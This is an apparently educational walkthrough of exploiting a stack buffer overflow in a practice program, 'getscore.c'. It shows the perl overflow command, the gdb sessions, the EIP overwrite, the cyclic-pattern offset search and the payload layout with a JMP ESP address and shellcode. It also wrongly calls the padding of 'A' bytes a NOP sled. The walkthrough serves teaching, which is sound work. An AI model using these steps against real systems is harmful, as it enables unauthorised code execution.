The first step in developing this exploit is to run the target program – “getscore.c” – using standard parameters. The program takes two arguments within the command line: a name and a social security number. Upon further examination of the source code, we find that a buffer overflow exploit may be deployed since there are no checks in place to prevent arguments that exceed the capacity of string buffers. In particular, within “getscore.c” – the get\_score function takes in the two command line arguments and attempts to write them to a character buffer.

To test this finding, we can create a simple perl command to quickly produce a large string of characters with which to pass to the program. The back tick character “`” substitutes the output of the perl command on the command line, passing a string of 150 A’s to getscore.

[root@localhost Exploit]# ./getscore “aaa” `perl -e ‘print “A”x150;’`

Segmentation fault (core dumped)

Success – a segmentation fault indicates this error hasn’t been caught within the program, providing an entry point for an exploit. To examine further what is going on during execution, we may take advantage of the GNU Debugger.

[root@localhost Exploit]# gdb getscore

We’ll begin by setting the same arguments before, though slightly differently so that the debugger can understand (note the additional quotation marks around the perl command).

(gdb) set args “aaa” “`perl -e ‘print “A”x150;’`”

Before running, we’ll first set a breakpoint before the main function is executed. Otherwise, the program will execute as it did outside the debugger, allowing us no time to examine the stack as instructions are executed.

(gdb) break main

Breakpoint 1 at 0x8048625

We can now run the program, which will stop at the beginning of main.

(gdb) run

Starting program: /root/Exploit/getscore "aaa" "`perl -e 'print "A"x150;'`"

Breakpoint 1, 0x08048625 in main ()

Let’s take a look at the current stack frame to see how the stack looks.

(gdb) info frame

Stack level 0, frame at 0xbffff518:

eip = 0x8048625 in main; saved eip 0x42015574

called by frame at 0xbffff538

Arglist at 0xbffff518, args:

Locals at 0xbffff518, Previous frame's sp in esp

Saved registers:

ebp at 0xbffff518, eip at 0xbffff51c

From this command, we can see that the current saved instruction pointer or return address (also known as the eip) is 0x42015574, stored at 0xbffff51c. Now that we have those values, we can set a second break point after the buffer has been overflowed, specifically just before the get\_score function returns. To find this, we can disassemble that function and determine the location of the second-to-last instruction: leave.

(gdb) disas get\_score

Dump of assembler code for function get\_score:

0x08048788 <get\_score+0>: push %ebp

0x08048789 <get\_score+1>: mov %esp,%ebp

0x0804878b <get\_score+3>: sub $0x118,%esp

. . . .

. . . .

. . . .

0x0804886f <get\_score+231>: movl $0xffffffff,0xfffffef0(%ebp)

0x08048879 <get\_score+241>: mov 0xfffffef0(%ebp),%eax

0x0804887f <get\_score+247>: leave

0x08048880 <get\_score+248>: ret

End of assembler dump.

So, we can now set a second breakpoint at 0x0804887f in order to view the buffer after it has been filled with our arguments, but before it returns to the main function.

(gdb) break \*0x0804887f

Breakpoint 2 at 0x804887f

With the breakpoint set, we can continue debugging.

(gdb) continue

Continuing.

And examine the new stack frame, once the string of A’s is within the function environment.

Breakpoint 2, 0x0804887f in get\_score ()

(gdb) info frame

Stack level 0, frame at 0xbffff358:

eip = 0x804887f in get\_score; saved eip 0x41414141

Arglist at 0xbffff358, args:

Locals at 0xbffff358, Previous frame's sp in esp

Saved registers:

ebp at 0xbffff358, eip at 0xbffff35c

The saved eip has been overwritten by 0x41414141 – hex for “AAAA”. This isn’t particularly useful, aside from acting as a proof of concept. What will be useful is finding the location of the eip, as an offset from the buffer. Armed with this information, we can determine exactly how long our string of A’s must be before we can enter the address of the JMP ESP instruction, which will be exploited to execute our shell code. To do this, we can use any number of ways in order to find the offset. One possible method is to ‘brute force’ the offset, by manually setting the arguments within the debugger and checking to see when the eip is located. A faster method is to use a tool like Jason Rush’s [“Buffer Overflow EIP Offset String Generator.”](http://projects.jason-rush.com/tools/buffer-overflow-eip-offset-string-generator/) Though the name is quite the mouthful, the tool is rather simple: by inputting a string length – such as 150 – we can create a non-repeating (this part is vital) string that makes finding the EIP offset trivial.

First, we generate the string and replace the perl command from before with it.

(gdb) set args “aaa” “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0A...Ae6Ae7Ae8Ae9”

Now, we can run the debugger again, repeating the same steps as before to continue past the first breakpoint, but remaining in the stack frame before get\_score returns.

(gdb) run

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /root/Exploit/getscore "aaa" "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9"

Breakpoint 1, 0x08048625 in main ()

(gdb) continue

Continuing.

Breakpoint 2, 0x0804887f in get\_score ()

Now, when we examine the stack frame, we no longer see our string of A’s in the EIP.

(gdb) info frame

Stack level 0, frame at 0xbfffe8d8:

eip = 0x804887f in get\_score; saved eip 0x65413565

Arglist at 0xbfffe8d8, args:

Locals at 0xbfffe8d8, Previous frame's sp in esp

Saved registers:

ebp at 0xbfffe8d8, eip at 0xbfffe8dc

Instead, we can now find a segment of the string we used – 0x65413565 – a segment that the tool referenced above can use to calculate the offset from the buffer. Pasting it into the website returns an offset of 136 bytes – success! An alternative to using this tool is to determine the address of the buffer through a system of trial and error. Once this address has been found, it may be subtracted from the address of EIP to determine the offset. Note: each time the program is run in gdb, these addresses will be randomized – a measure taken to thwart these types of exploits. However, the offset remains constant – an important fact.

Now that we have determined the address of EIP is 136 bytes after the address of the buffer, what next? Well – with the address of EIP, we can ‘tell’ the program the next instruction to execute. By placing the address of a given instruction just after our 136 bytes of A’s – referred to as a NOP sled – the instruction will be executed by the program. To use this to our advantage, we will use the address of the JMP ESP instruction to make the program execute our shell code. This address must be formatted in Little Endian to ensure proper execution. The final exploit will be composed of 136 bytes of characters to overflow the buffer, followed by the 4 bytes for the address of the JMP ESP instruction, and finally 46 bytes of shell code which will provide us access to the shell. Refer to the source code for this exploit to see how this all comes together.